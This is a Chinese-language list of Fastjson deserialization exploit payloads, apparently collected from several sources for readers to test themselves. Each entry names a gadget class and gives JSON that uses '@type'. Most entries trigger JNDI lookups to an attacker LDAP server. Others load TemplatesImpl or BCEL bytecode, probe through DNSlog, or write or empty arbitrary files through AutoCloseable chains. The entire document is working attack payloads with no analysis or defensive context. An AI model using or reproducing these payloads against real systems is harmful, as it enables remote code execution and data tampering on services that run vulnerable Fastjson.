以下为部分在各个途径搜集的 payload,版本自测:
JdbcRowSetImpl
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://127.0.0.1:23457/Command8","autoCommit": true}
TemplatesImpl
{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgA...k="],'_name': 'su18','_tfactory': {},"_outputProperties": {},}
JndiDataSourceFactory
{"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties": {"data_source": "ldap://127.0.0.1:23457/Command8"}}
SimpleJndiBeanFactory
{"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean","targetBeanName": "ldap://127.0.0.1:23457/Command8","propertyPath": "su18","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://127.0.0.1:23457/Command8"]}}
DefaultBeanFactoryPointcutAdvisor
{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://127.0.0.1:23457/Command8"]},"adviceBeanName": "ldap://127.0.0.1:23457/Command8"},{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"}
WrapperConnectionPoolDataSource
{"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"}
JndiRefForwardingDataSource
{"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName": "ldap://127.0.0.1:23457/Command8","loginTimeout": 0}
InetAddress
{"@type": "java.net.InetAddress","val": "http://dnslog.com"}
Inet6Address
{"@type": "java.net.Inet6Address","val": "http://dnslog.com"}
URL
{"@type": "java.net.URL","val": "http://dnslog.com"}
JSONObject
{"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.net.URL","val": "http://dnslog.com"}}""}
URLReader
{"poc": {"@type": "java.lang.AutoCloseable","@type": "com.alibaba.fastjson.JSONReader","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://127.0.0.1:9999"}}}
AutoCloseable 任意文件写入
{"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream","out": {"@type": "java.io.FileOutputStream","file": "/path/to/target"},"parameters": {"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters","filename": "filecontent"}}
BasicDataSource
{"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...","driverClassLoader" :{"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"}}
JndiConverter
{"@type": "org.apache.xbean.propertyeditor.JndiConverter","AsText": "ldap://127.0.0.1:23457/Command8"}
JtaTransactionConfig
{"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type": "java.util.Properties","UserTransaction": "ldap://127.0.0.1:23457/Command8"}}
JndiObjectFactory
{"@type": "org.apache.shiro.jndi.JndiObjectFactory","resourceName": "ldap://127.0.0.1:23457/Command8"}
AnterosDBCPConfig
{"@type": "br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry": "ldap://127.0.0.1:23457/Command8"}
AnterosDBCPConfig2
{"@type": "br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"}
CacheJndiTmLookup
{"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames": "ldap://127.0.0.1:23457/Command8"}
AutoCloseable 清空指定文件
{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","file":"/tmp/nonexist","append":false}
AutoCloseable 清空指定文件
{"@type":"java.lang.AutoCloseable","@type":"java.io.FileWriter","file":"/tmp/nonexist","append":false}
AutoCloseable 任意文件写入
{"stream":{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","file":"/tmp/nonexist","append":false},"writer":{"@type":"java.lang.AutoCloseable","@type":"org.apache.solr.common.util.FastOutputStream","tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=","sink":{"$ref":"$.stream"},"start":38},"close":{"@type":"java.lang.AutoCloseable","@type":"org.iq80.snappy.SnappyOutputStream","out":{"$ref":"$.writer"}}}
BasicDataSource
{"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassName": "true","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"}
HikariConfig
{"@type": "com.zaxxer.hikari.HikariConfig","metricRegistry": "ldap://127.0.0.1:23457/Command8"}
HikariConfig
{"@type": "com.zaxxer.hikari.HikariConfig","healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"}
HikariConfig
{"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry": "ldap://127.0.0.1:23457/Command8"}
SessionBeanProvider
{"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName": "ldap://127.0.0.1:23457/Command8","Object": "su18"}
JMSContentInterceptor
{"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor","parameters": {"@type": "java.util.Hashtable","java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory": "ldap://127.0.0.1:23457/Command8"},"namespace": ""}
ContextClassLoaderSwitcher
{"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher","contextClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"a": {"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"}}
OracleManagedConnectionFactory
{"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName": "ldap://127.0.0.1:23457/Command8"}
JNDIConfiguration
{"@type": "org.apache.commons.configuration.JNDIConfiguration","prefix": "ldap://127.0.0.1:23457/Command8"}
